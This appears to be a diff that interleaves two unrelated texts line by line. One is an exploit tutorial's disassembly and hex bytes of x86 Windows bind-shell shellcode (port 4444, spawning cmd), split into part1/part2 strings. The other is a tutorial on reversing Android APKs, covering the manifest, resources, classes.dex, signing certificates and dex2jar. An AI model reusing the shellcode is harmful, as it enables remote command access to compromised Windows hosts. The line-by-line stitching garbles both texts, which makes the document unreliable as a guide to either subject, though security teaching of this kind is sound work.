-000000AE  57                push edi
+
-000000AF  FFD6              call esi
+<?xml version="1.0" encoding="utf-8" standalone="no"?>
-000000B1  6A10              push byte +0x10
+<manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.company.appname"
-000000B3  51                push ecx
+                                                                     platformBuildVersionCode="24"
-000000B4  55                push ebp
+                                                                     platformBuildVersionName="7.0">
-000000B5  FFD0              call eax
+    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
-000000B7  68A4AD2EE9        push dword 0xe92eada4
+    <uses-permission android:name="android.permission.INTERNET"/>
-000000BC  57                push edi
+
-000000BD  FFD6              call esi
+    <application android:allowBackup="true" android:icon="@mipmap/ic_launcher"
-000000BF  53                push ebx
+        android:label="@string/app_name"
-000000C0  55                push ebp
+        android:supportsRtl="true" android:theme="@style/AppTheme">
-000000C1  FFD0              call eax
+        <activity android:name="com.company.appname.MainActivity">
-000000C3  68E5498649        push dword 0x498649e5
+            <intent-filter>
-000000C8  57                push edi
+                <action android:name="android.intent.action.MAIN"/>
-000000C9  FFD6              call esi
+                <category android:name="android.intent.category.LAUNCHER"/>
-000000CB  50                push eax
+            </intent-filter>
-000000CC  54                push esp
+        </activity>
-000000CD  54                push esp
+    </application>
-000000CE  55                push ebp
+
-000000CF  FFD0              call eax
+</manifest>
-000000D1  93                xchg eax,ebx
+Keep in mind that this is the perfect starting point to isolate the application “entry points”, namely the classes you’ll reverse first in order to understand the logic of the whole software. In this case for instance, we would start inspecting the com.company.appname.MainActivity class being it declared as the main UI for the application.
-000000D2  68E779C679        push dword 0x79c679e7
+
-000000D7  57                push edi
+
-000000D8  FFD6              call esi
+
-000000DA  55                push ebp
+cd assets
-000000DB  FFD0              call eax
+
-000000DD  666A64            push word 0x64
+
-000000E0  6668636D          push word 0x6d63
+- assets/* ( folder )
-000000E4  89E5              mov ebp,esp
+This folder will contain application specific files, like wav files the app might need to play, custom fonts and so on. Reversing-wise it’s usually not very important, unless of course you find inside the software functional references to such files.
-000000E6  6A50              push byte +0x50
+
-000000E8  59                pop ecx
+
-000000E9  29CC              sub esp,ecx
+
-000000EB  89E7              mov edi,esp
+cd ../res
-000000ED  6A44              push byte +0x44
+
-000000EF  89E2              mov edx,esp
+
-000000F1  31C0              xor eax,eax
+
-000000F3  F3AA              rep stosb
+
-000000F5  FE422D            inc byte [edx+0x2d]
+- res/* ( folder )
-000000F8  FE422C            inc byte [edx+0x2c]
+All the resources, like the activities xml files, images and custom styles are stored here.
-000000FB  93                xchg eax,ebx
+
-000000FC  8D7A38            lea edi,[edx+0x38]
+
-000000FF  AB                stosd
+cd ../
-00000100  AB                stosd
+
-00000101  AB                stosd
+
-00000102  6872FEB316        push dword 0x16b3fe72
+
-00000107  FF7544            push dword [ebp+0x44]
+
-0000010A  FFD6              call esi
+- resources.arsc ( file )
-0000010C  5B                pop ebx
+This is the “index” of all the resources, long story short, at each resource file is assigned a numeric identifier that the app will use in order to identify that specific entry and the resources.arsc file maps these files to their identifiers … nothing very interesting about it.
-0000010D  57                push edi
+
-0000010E  52                push edx
+- classes.dex ( file )
-0000010F  51                push ecx
+This file contains the Dalvik ( the virtual machine running Android applications ) bytecode of the app, let me explain it better. An Android application is (most of the times) developed using the Java programming language. The java source files are then compiled into this bytecode which the Dalvik VM eventually will execute … pretty much what happens to normal Java programs when they’re compiled to .class files.
-00000110  51                push ecx
+
-00000111  51                push ecx
+Long story short, this file contains the logic, that’s what we’re interested into.
-00000112  6A01              push byte +0x1
+
-00000114  51                push ecx
+Sometimes you’ll also find a classes2.dex file, this is due to the DEX format which has a limit to the number of classes you can declare inside a single dex file, at some point in history Android apps became bigger and bigger and so Google had to adapt this format, supporting a secondary .dex file where other classes can be declared.
-00000115  51                push ecx
+
-00000116  55                push ebp
+From our perspective it doesn’t matter, the tools we’re going to use are able to detect it and append it to the decompilation pipeline.
-00000117  51                push ecx
+
-00000118  FFD0              call eax
+- libs/ ( folder )
-0000011A  68ADD905CE        push dword 0xce05d9ad
+Sometimes an app needs to execute native code, it can be an image processing library, a game engine or whatever. In such case, those .so ELF libraries will be found inside the libs folder, divided into architecture specific subfolders ( so the app will run on ARM, ARM64, x86, etc ).
-0000011F  53                push ebx
+
-00000120  FFD6              call esi
+
-00000122  6AFF              push byte -0x1
+
-00000124  FF37              push dword [edi]
+cd META-INF/
-00000126  FFD0              call eax
+
-00000128  8B57FC            mov edx,[edi-0x4]
+
-0000012B  83C464            add esp,byte +0x64
+
-0000012E  FFD6              call esi
+
-00000130  52                push edx
+
-00000131  FFD0              call eax
+- META-INF/ ( folder )
-00000133  68F08A045F        push dword 0x5f048af0
+Every Android application needs to be signed with a developer certificate in order to run on a device, even debug builds are signed by a debug certificate, the META-INF folder contains information about the files inside the APK and about the developer.
-00000138  53                push ebx
+
-00000139  FFD6              call esi
+Inside this folder, you’ll usually find:
-0000013B  FFD0              call eax
+
 A MANIFEST.MF file with the SHA-1 or SHA-256 hashes of all the files inside the APK.
--------------------------------------------------------------------------------------------
+A CERT.SF file, pretty much like the MANIFEST.MF, but signed with the RSA key.
-Another option would be to go to a website like:
+A CERT.RSA file which contains the developer public key used to sign the CERT.SF file and digests.
-http://shell-storm.org/online/Online-Assembler-and-Disassembler/
+Those files are very important in order to guarantee the APK integrity and the ownership of the code. Sometimes inspecting such signature can be very handy to determine who really developed a given APK. If you want to get information about the developer, you can use the openssl command line utility:
 
-Choose the bottom box and paste the code below into it. Select x86 (32), and make sure that little endian is checked. Then click "Disassemble"
+
 openssl pkcs7 -in CERT.RSA -inform DER -print
-"\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
+
-"\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
+This will print an output like:
-"\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
+
-"\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
+PKCS7:
-"\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
+  type: pkcs7-signedData (1.2.840.113549.1.7.2)
-"\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
+  d.sign:
-"\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
+    version: 1
-"\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
+    md_algs:
-"\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
+        algorithm: sha1 (1.3.14.3.2.26)
-"\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
+        parameter: NULL
-"\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
+    contents:
-"\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
+      type: pkcs7-data (1.2.840.113549.1.7.1)
-"\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
+      d.data: <ABSENT>
-"\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
+    cert:
-"\x66\x68\x63\x6d\x89\xe5\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89"
+        cert_info:
-"\xe2\x31\xc0\xf3\xaa\xfe\x42\x2d\xfe\x42\x2c\x93\x8d\x7a\x38\xab"
+          version: 2
-"\xab\xab\x68\x72\xfe\xb3\x16\xff\x75\x44\xff\xd6\x5b\x57\x52\x51"
+          serialNumber: 10394279457707717180
-"\x51\x51\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53"
+          signature:
-"\xff\xd6\x6a\xff\xff\x37\xff\xd0\x8b\x57\xfc\x83\xc4\x64\xff\xd6"
+            algorithm: sha1WithRSAEncryption (1.2.840.113549.1.1.5)
-"\x52\xff\xd0\x68\xf0\x8a\x04\x5f\x53\xff\xd6\xff\xd0"
+            parameter: NULL
           issuer: C=TW, ST=Taiwan, L=Taipei, O=ASUS, OU=PMD, CN=ASUS AMAX Key/emailAddress=admin@asus.com
           validity:
             notBefore: Jul  8 11:39:39 2013 GMT
             notAfter: Nov 23 11:39:39 2040 GMT
-part1 = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
+          subject: C=TW, ST=Taiwan, L=Taipei, O=ASUS, OU=PMD, CN=ASUS AMAX Key/emailAddress=admin@asus.com
-part1 += "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
+          key:
-part1 += "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
+            algor:
-part1 += "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
+              algorithm: rsaEncryption (1.2.840.113549.1.1.1)
-part1 += "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
+              parameter: NULL
-part1 += "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
+            public_key:  (0 unused bits)
-part1 += "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
+              ...
-part1 += "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
+              ...
-part1 += "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
+              ...
-part1 += "\xf5\xad\x57\xff\xd6\x53\x53"
+This can be gold for us, for instance we could use this information to determine if an app was really signed by (let’s say) Google or if it was resigned, therefore modified, by a third party.
 
 ---------------------------Type This-----------------------------------
-part2 = "\x53\x53\x53\x43\x53\x43\x53\xff\xd0"
+sh /home/sempra/dex2jar-2.0/d2j-dex2jar.sh classes.dex
-part2 += "\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xa4\x1a\x70\xc7\x57\xff"
+------------------------------------------------------
-part2 += "\xd6\x6a\x10\x51\x55\xff\xd0\x68\xa4\xad\x2e\xe9\x57\xff\xd6\x53"
+
-part2 += "\x55\xff\xd0\x68\xe5\x49\x86\x49\x57\xff\xd6\x50\x54\x54\x55\xff"
+
-part2 += "\xd0\x93\x68\xe7\x79\xc6\x79\x57\xff\xd6\x55\xff\xd0\x66\x6a\x64"
+Download via SCP the classes.dex.jar file to your local machine. Then install JD-GUI